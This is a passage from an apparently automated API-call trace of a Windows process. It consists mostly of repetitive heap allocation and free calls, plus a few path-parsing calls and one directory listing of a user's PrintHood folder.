lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.573] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.573] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.574] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.574] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.575] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.576] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.576] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.577] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.580] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.580] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0113.580] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.580] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.580] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.580] PathFindFileNameW (pszPath="") returned="" [0113.580] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.580] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76dbddb0, ftCreationTime.dwHighDateTime=0x1d4ce16, ftLastAccessTime.dwLowDateTime=0xc58b2780, ftLastAccessTime.dwHighDateTime=0x1d4d3cb, ftLastWriteTime.dwLowDateTime=0xc58b2780, ftLastWriteTime.dwHighDateTime=0x1d4d3cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X7bnh_OS", cAlternateFileName="")) returned 0xffffffff [0113.581] HeapFree (in: hHeap=0x660000, 